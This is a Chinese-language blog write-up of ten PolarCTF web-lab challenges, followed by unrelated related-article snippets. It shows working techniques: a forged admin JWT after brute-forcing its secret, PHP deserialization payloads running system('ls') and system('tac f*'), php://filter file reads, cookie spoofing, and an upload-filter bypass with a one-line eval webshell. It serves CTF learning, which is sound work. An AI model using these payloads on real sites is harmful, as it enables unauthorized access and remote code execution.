1.蜜雪冰城吉警店

点开靶场, 发现题目说点到隐藏奶茶(也就是第九杯)就给flag, 但是明显就只有八杯, 猜测大概率考的是前端代码修改

把id=1修改为id=9, 然后回到页面点击原味奶茶即可弹出flag

#flag{7d43cc8863ad0ee649048e562fde53ec}

2.召唤神龙

打开靶场发现是一个游戏, 爽玩了几把发现通关有难度啊

直接F12查看界面源码, 在main.js文件中发现一串文字, 猜测是jsfuck(源于brainfuck)

上工具, 解密得到flag
#flag{fdf9a88ec4fdd9e3dedaafeece5cc248}

3.seek flag

打开靶场按F12, 发现给出flag的提示, 我们用工具dirsearch扫描一下, 发现存在robots.txt文件



访问即可得到第三段flag3:c0ad71dadd11}

再通过BurpSuite抓包发包试试看能不能得到什么回显, 发现可以得到第二段flag2:3ca8737a70f029d

我们注意到在返回包中有个Set-Cookie, 我们尝试将id改为1发包, 得到flag1:flag{7ac5b

拼接三段flag得到最终结果:flag{7ac5b3ca8737a70f029dc0ad71dadd11}

4.jwt

打开靶场, 发现一个登录和注册, 猜测考察垂直越权, 通过普通用户提权到admin用户

用自己注册的用户名登录后按F12, 由于题目是jwt, 我们找出jwt的值, 然后用工具对其进行爆破得到密钥:SYSA

对JWT进行一个解释:
JWT(json web token),令牌以紧凑的形式由三部分组成,这些部分由点(.)分隔。

再通过在线网站:https://jwt.io/, 对所得到的jwt值进行解码(如若是线下赛, 可以以.来分割, 每段都用base64解码即可)
其次通过修改用户名为admin, 加入密钥, 得到新的jwt的值:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50

修改网页的jwt值为新的jwt值, 然后重新访问网页即可

这样子我们就越权成功, 点开个人中心即可拿到flag

#flag{ec39c705cfb5295f9dddcedc819a1659}

5.签到

打开靶场, 发现提交的按钮点不了

果然打开BurpSuite进行抓包, 先通过发包看返回包, 发现需要用POST请求, 且参数值为key, 第一次尝试key=flag



再根据提示, 对参数值进行修改即可得到flag

#flag{fa3f77dd58a0a8f990bb6292da75618f}

6.session文件包含

打开靶场, 用BurpSuite进行抓包, 发现返回包中有Set-Cookie参数, 再根据题目描述, 猜测存在伪协议

将得到的base64密文, 放到厨子上解密

这里我们猜测session文件在/tmp目录下, 文件格式为sess_+sessionid, 这边sessionid在返回包中有

通过cat或者tac读取flag

#flag{43306e8113f53ece238c0a124432ce19}

7.Don't touch me

打开靶场, 按F12, 找到提示

接着直接F12大法, 跟着它的提示一步步走

访问fla.php即可

#flag{0cee5a97f12b172ceeea2e9f67b7413e}

8.php very nice

本题考察基础的反序列化

<?php
class Example
{
public $sys="system('ls');";
}
$a = new Example();
echo serialize($a);
?> #先将所有文件回显出来, O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}

发现存在flag.php, 因为它会直接执行, 我们用include+伪协议来读取
<?php
class Example
{
public $sys="include('php://filter/read=convert.base64-encode/resource=flag.php');";
}
$a = new Example();
echo serialize($a);
?> #O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}

base64解密即可
#flag{202cb962ac59075b964b07152d234b70}

参考网上一把梭哈的做法

<?php
class Example
{
public $sys="system('tac f*');";
}
$a = new Example();
echo serialize($a);
?>
#O:7:"Example":1:{s:3:"sys";s:17:"system('tac f*');";}

#flag{202cb962ac59075b964b07152d234b70}

9.cookie欺骗

抓包, 修改Cookie的值为admin即可

#flag{10e35c76602b330149ef009e0b484d8f}

10.upload

打开靶场, 发现要上传一句话木马, 发现有code里面应该藏着黑名单

代码审计后发现, 可以尝试双写文件后缀名尝试绕过

一句话木马
<?php @eval($_POST['aaa']);?>

再通过中国蚁剑进行连接即可

#flag{a89f40341f4271659154829a2215f428}

Web刷题之polarctf靶场(2)的更多相关文章

  1. 攻防世界Web刷题记录(进阶区)

    攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...

  2. 攻防世界Web刷题记录(新手区)

    攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...

  3. web刷题记录 极客大挑战2019Knife upload buy a flag

    极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...

  4. [BUUCTF]Web刷题记录

    为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后 [ACTF2020 新生赛]Exec 打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了 127.0. ...

  5. BUGKU web刷题记录

    web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...

  6. CTF学习路线指南(附刷题练习网址)

    PWN,Reverse:偏重对汇编,逆向的理解: Gypto:偏重对数学,算法的深入学习: Web:偏重对技巧沉淀,快速搜索能力的挑战: Mic:则更为复杂,所有与计算机安全挑战有关的都算在其中 常规 ...

  7. 湾区求职分享:三个月刷题拿到 Google offer,欢迎踊跃提问

    本文仅以个人经历和个人观点作为参考.如能受益,不胜荣幸. 本文会不断的修正,更新.希望通过大家的互动最后能写出一份阅者受益的文章. 本文纯手打,会有错别字,欢迎指出,虚心接受及时更改. 小马过河,大牛 ...

  8. 牛客网刷题(纯java题型 1~30题)

    牛客网刷题(纯java题型 1~30题) 应该是先extend,然后implement class test extends A implements B { public static void m ...

  9. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  10. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

随机推荐

  1. 学习笔记--Java中方法递归调用

    Java中方法递归调用 public class RecursionTest01{ public static void main(String[] args){ System.out.println ...

  2. Python 标准类库-因特网数据处理之Base64数据编码

    该模块提供将二进制数据编码为可打印ASCII字符并将这种编码解码回二进制数据的功能.它为RFC 3548中指定的编码提供编码和解码功能.定义了Base16.Base32和Base64算法,以及事实上的 ...

  3. (六)Redis 消息队列 List、Streams

    Redis 适合做消息队列吗?有什么解决方案?首先要明白消息队列的消息存取需求和工作流程. 1.消息队列 我们一般把消息队列中发送消息的组件称为生产者,把接收消息的组件称为消费者,下图是一个通用的消息 ...

  4. Windows安装虚拟机软件-VirtualBox

    1.VirtualBox简介 VirtualBox号称是最强的开源免费虚拟机软件,它不仅具有丰富的特色,而且性能也很优异. 它简单易用,可虚拟的系统包括Windows.Mac OS X.Linux.O ...

  5. python报错:ImportError: cannot import name 'Literal' from 'typing'

    原因: Literal 只支持python3.8版本以上的环境,需要把python3.7升级到3.8版本以上. 参考: https://blog.csdn.net/yuhaix/article/det ...

  6. 【转载】 一块GPU顶数千个CPU内核,英伟达的这个强化学习利器技术细节终于公开了

    原文地址: https://mp.weixin.qq.com/s/FmFqmIqmknkpBQbNb2ioDA ============================================ ...

  7. @RequestBody中传递json里的对象,对象包含list属性,对应body里的格式

    以下就是对应格式,直接复制进接口文档相关工具即可{ "userId": "88", "openCostCenterDTO": [ { &qu ...

  8. 2023 SMU RoboCom-CAIP 选拔赛

    前言 更详细题解可以参考咱学长的( 2023 SMU RoboCom-CAIP 选拔赛.zip A. 小斧头 f_k 表示满足条件的j = k 的(i,j)对的数量.如上图中第四行即为f1至f5的元素 ...

  9. redis集群之哨兵模式

    redis集群之哨兵模式 1.集群部署 安装配置可参考一下地址: https://www.cnblogs.com/zhoujinyi/p/5569462.html 2.与springboot集成 这里 ...

  10. C# 使用特性的方式封装报文

    在编写上位机软件时,需要经常处理命令拼接与其他设备进行通信,通常对不同的命令封装成不同的方法,扩展稍许麻烦. 本次拟以特性方式实现,以兼顾维护性与扩展性. 思想: 一种命令对应一个类,其类中的各个属性 ...